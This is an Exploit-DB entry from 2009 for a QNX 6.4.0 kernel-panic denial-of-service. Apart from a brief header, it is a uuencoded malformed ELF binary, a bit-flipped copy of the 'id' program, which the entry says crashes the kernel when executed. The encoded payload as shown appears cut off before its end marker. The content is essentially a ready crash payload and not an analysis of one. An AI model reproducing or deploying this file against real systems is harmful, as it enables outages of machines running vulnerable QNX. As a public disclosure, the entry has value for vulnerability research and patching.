Exploit-DB #7823
Description: QNX 6.4.0 - bitflipped ELF Binary 'id' Kernel Panic (Denial of Service)
Type: dos
Platform: qnx
Date: 2009-01-19
Author: kokanin

Exploit:
begin 644 qnx-crash.bin
M?T5,1@$!`0``````````*@(``P`!````&(@$"#0```"F'0```````#0`(``&
M`"@`&0`8``;A```T````-(`$.@````#`````P`````7S```$`````P```/0`
M``#T@`0(`````!0````4````!`````$`RP`!````````^@"`!`@`@/X(P!``
M`,`0```%)````!````$`WP#`$```P*`$","@!`A``0``$`(```8`````$```
MQP``G-`0``!WH`0(`````+````"P````!@````0````C````"`$```B!!`@`
M````&````!@````$`````0```+AU0W(O;&EB+VQD<6YX+G-O+C(`!`````C\
M```#````44Y8````"```$```$0"I`"0````'````(```````B@`.````"@``
M`!Z:``````````````@```"(````'P```!0````3````(P```!4``/`<````
M&P```````````````0```((``````````````````````````````,D````&
M``````"G`*D````$````"0````+D```/^0`W"P``````````````#````!``
M```#``````````T'```2````&````!D````7````W0````7'```=````$0``
M```````A````(@``````````````%<,````````+`````````)`````2`(T`
M(<H```````#=````$@```(<`````````9P```!(````:`````````"T````2
M````)@"3`````$HV````$@```"X`````````;@```!(````W(0```*($"*(`
M```1`!(`/0`````````V````$@`V`$4`````````!0```!(```!4````````
M`'<````2````60```````+^)````(@```&@`````````-@```!*4``!O````
M(**G"$`````1`!)B=@```&"B!`@$C0``$0`2`(8``*\`````9````!(```".
M````9*($"`0````1`!(`"0$``!"(!`@`````$``2`)4`````````6````!(`
M``#H`````````((!```2````Q0$```"D!`@`````'0#Q_Z<`````````]`(`
M`!(```"N````-(D$",D%```2``H`LP```````+%X````$@```+T`````````
M.0```!(```#)`+8```!B`,X```"%````U@````````!N@```$@```-\``*<`
M````;@```!(```#H``````#;`$H``(P2````[P```("B!`A0````$9X2`/<`
M`,,`?```M````!(```#]``#U`````,8!```2````$`$```"B!`@`````$`#Q
M_R,!``#0H@0(`````!``\?_J`````````"(````2````!`$````````[````
M$@````!L:6)C+G-O+C,`<'5T8VAA<@!G971G:60`7VEN:71?87)R87D`9V5T
M975I9`!G971G<F=I9`!E<G)N;P!G971E9VED`%]P<F5I;FET7V%R<F%Y`'!U
M=',`7U]C>&%?9FEN86QI>F4`9V5T=6ED`%]&:6QE<P!?375L=&E?=&AR96%D
M960`9G!R:6YT9@!O<'1I;F0`<W1R9'5P`%]I;FET7VQI8F,`9V5T;W!T`&UA
M:6X`9V5T9W)O=7!S`%]F:6YI7V%R<F%Y`&=E=&=R;W5P;&ES=`!G971P=W5I
M9`!G971P=VYA;0!A=&5X:70`7U-T9&5R<@!F<'5T8P!F=W)I=&4`871O:0!?
M8G1E>'0`7V5D871A`%]?8G-S7W-T87)T`%]E;F0`_*$$"`8+````H@0(!0<`
M`""B!`@%#0``8*($"`4.``!DH@0(!1```("B!`@%'0``F*$$"`<!``"<H00(
M!P(``*"A!`@'`P``I*$$"`<$``"HH00(!P4``*RA!`@'!@``L*$$"`<(``"T
MH00(!PD``+BA!`@'"@``O*$$"`<+``#`H00(!PP``,2A!`@'#P``R*$$"`<2
M``#,H00(!Q,``-"A!`@'%0``U*$$"`<7``#8H00(!Q@``-RA!`@'&0``X*$$
M"`<:``#DH00(!QL``.BA!`@''```[*$$"`<>``#PH00(!Q\``/2A!`@'(@``
M^*$$"`<C``#HGP@``,(``/\UD*$$"/\EE*$$"`````#_)9BA!`AH`````.G@
M_____R6<H00(:`@```#IT/____\EH*$$"&@0````Z<#_____):2A!`AH&```
M`.FP_____R6HH00(:"````#IH/____\EK*$$"&@H````Z9#_____);"A!`AH
M,````.F`_____R6TH00(:#@```#I</____\EN*$$"&A`````Z6#_____);RA
M!`AH2````.E0_____R7`H00(:%````#I0/____\EQ*$$"&A8````Z3#_____
M)<BA!`AH8````.D@_____R7,H00(:&@```#I$/____\ET*$$"&AP````Z0#_
M____)=2A!`AH>````.GP_O___R78H00(:(````#IX/[___\EW*$$"&B(````
MZ=#^____)>"A!`AHD````.G`_O___R7DH00(:)@```#IL/[___\EZ*$$"&B@
M````Z:#^____)>RA!`AHJ````.F0_O___R7PH00(:+````#I@/[___\E]*$$
M"&BX````Z7#^____)?BA!`AHP````.E@_O__````````````````3DE!332)
M!`B)TXLT)(U,)`2-!+&->`2-4`B#>`0`=`F+`H/"!(7`=?=34E=15N@!____
M:,"@!`AHP*`$".B2_O__@\0(:$B/!`CH5?___X/$!&C`H`0(:,"@!`CH`___
M_X/$".CC_?__:,"@!`AHP*`$".@<_O__@\0(QP4`H@0(`````.B:````4.A$
M____S)"0D)"0D)"0D)"0D)"0D%6)Y5/H3P```('#TQ@``(/L!(N+<````(7)
M=""+@_3___^)!"3H*O[__^L0C70F`(/`!(F#^/____]0_(N#^/___XL0A=)U
MZ(/$!%M=PV:058GE@^P(R<.+'"3#58GEBU4(#[8*C4'0/`EW#@^V2@&#P@&-
M0=`\"7;RA,D/E,`/ML!=PXU,)`2#Y/#_<?Q5B>575E-1@^QXBQF+<03'1>P`
M````QT60`````,=%E`````#'19@`````OP````#'19P`````QT6@`````.M(
M@^A'@_@N=RG_)(4$D`0(OP$```#K+L=%E`$```#K)<=%H`$```#K',=%G`$`
M``#K$\<$)`$```#H*?[__\=%F`$```"#19`!QT0D"%"/!`B)="0$B1PDZ'K]
M__^#^/]UGXM%F`-%E`'X@_@!?Q2)^(A%C@^V59R(58^$P'0TA-)T,,=$)`R`
MH@0(QT0D""0```#'1"0$`0```,<$)*B/!`CHL/W__\<$)`$```#HM/W__Z%D
MH@0(.<,/C@H!``"+-(:#P`&C9*($"#G#?C#'1"0,@*($",=$)`@Q````QT0D
M!`$```#'!"30CP0(Z&3]___'!"0!````Z&C]__^%]@^$PP```(DT).@8_?__
MA<!U1(DT).AT_O__A<!T%(DT).A0_?__B00DZ.C\__^%P'4DB70D",=$)`16
MCP0(QP0D@*($".A<_/__QP0D`0```.@0_?__BW`,BU`(B56DBP")!"3H3?S_
M_XE%K(DT).C2^___QT6T;8\$"(7`=`V+`(D$).@M_/__B46TQT7L"````(U%
M[(E$)`R-1<B)1"0(B70D!(M%K(D$).A6_/__BU6DB56HB?>+1:R)1;"+5;2)
M5;CIT@```.@X^___B<;HP?O__XE%I.A9^___B46HZ''[__^)QXM%I(D$).@D
M_/__QT6L;8\$"(7`=`V+`(D$).BO^___B46LB30DZ#3[___'1;1MCP0(A<!T
M#8L`B00DZ(_[__^)1;2+5:R)5;"+1:@Y1:1T(XM5J(D4).C3^___QT6P;8\$
M"(7`=`V+`(D$).A>^___B46PBT6TB46X.?YT((D\).C9^O__QT6X;8\$"(7`
M=`V+`(D$).@T^___B46XC47(B40D!,<$)`@```#H3OO__XE%[(-]D``/A6\!
M``"+5:2)5"0$QP0D?8\$".A>^O__BT6L@#@`=!")1"0$QP0D;H\$".A&^O__
MB70D!,<$)'./!`CH-OK__XM5M(`Z`'00B50D!,<$)&Z/!`CH'OK__XM%I#E%
MJ'0KBU6HB50D!,<$)'N/!`CH`_K__XM%L(`X`'00B40D!,<$)&Z/!`CHZ_G_
M_SGW="B)?"0$QP0DA(\$".C7^?__BU6X@#H`=!")5"0$QP0D;H\$".B_^?__
MBT7L@_@!#XZE````A<`/CIT```#'1;P!````NP$```"#?;P`=!7'!"2-CP0(
MZ(WY___'1;P`````ZS*+%22B!`B#/6"B!`@`=0B+0A`[0AAR$HE4)`3'!"0L
M````Z(WZ___K"<8`+(/``8E"$(M$G<2)1"0$QP0DFX\$".@^^?__BT2=Q(D$
M).AB^?__A<!T$HL`B40D!,<$)&Z/!`CH'/G__XG8@\,!.47L#X]O____QP0D
M"@```.CB^/__@'V.``^$SP```(-]H`!T+(M%M(E$)`3'!"27CP0(Z-_X__\Y
M]W0YBU6XB50D!,<$)):/!`CHR/C__^LDB70D!,<$))N/!`CHMOC__SGW=!")
M?"0$QP0DFH\$".BB^/__@WWL`7YGNP(```"+1)W$.?AT4#G&=$R#?:``=#:)
M!"3HK?C__X7`=!2+`(E$)`3'!"26CP0(Z&?X___K)HM$G<2)1"0$QP0DGH\$
M".A1^/__ZQ")1"0$QP0DGH\$".@_^/__B=B#PP$Y1>Q_GL<$)`H```#H"?C_
M_X-]E`!T-X-]H`!T&8!]CP!U!HM%N(E%M(M5M(D4).AF^/__ZQB`?8\`=0*)
M_HET)`3'!"2CCP0(Z.SW__^#?9@`=#Z#?:``=!F`?8\`=0:+1;")1:R+5:R)
M%"3H*?C__^L?@'V/`'4&BT6HB46DBU6DB50D!,<$)**/!`CHJ/?__[@`````
M@\1X65M>7UV-8?S#D)"058GE4^C_^?__@<.#$@``@^P$BX/\____BP"#^/]T
M&9#_T(N#_/___X/H!(F#_/___XL`@_C_=>B#Q`1;7<-FD%6)Y8/L",G#Z&/Y
M___"``!'9VYR=0!I9#H@=7-E<B`E<R!N;W0@9F]U;F0N"@`H)7,I`"!G:60]
M)74`(&5U:60])74`(&5G:60])74`(&=R;W5P<ST`("5S`"`E=0`@)60`("5U
M"@``:60Z($EN=F%L:60@8V]M8FEN871I;VX@;V8@;W!T:6]N<RX*`````&ED
M.B!/;FQY(&]N92!U<V5R(&UA>2!B92!S<&5C:69I960@87,@86X@;W!E<F%N
M9`H```"-B00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(
MKXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BO
MB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`BOB00(KXD$")2)
M!`BOB00(KXD$"*^)!`BOB00(KXD$"*^)!`B=B00(KXD$"*^)!`BO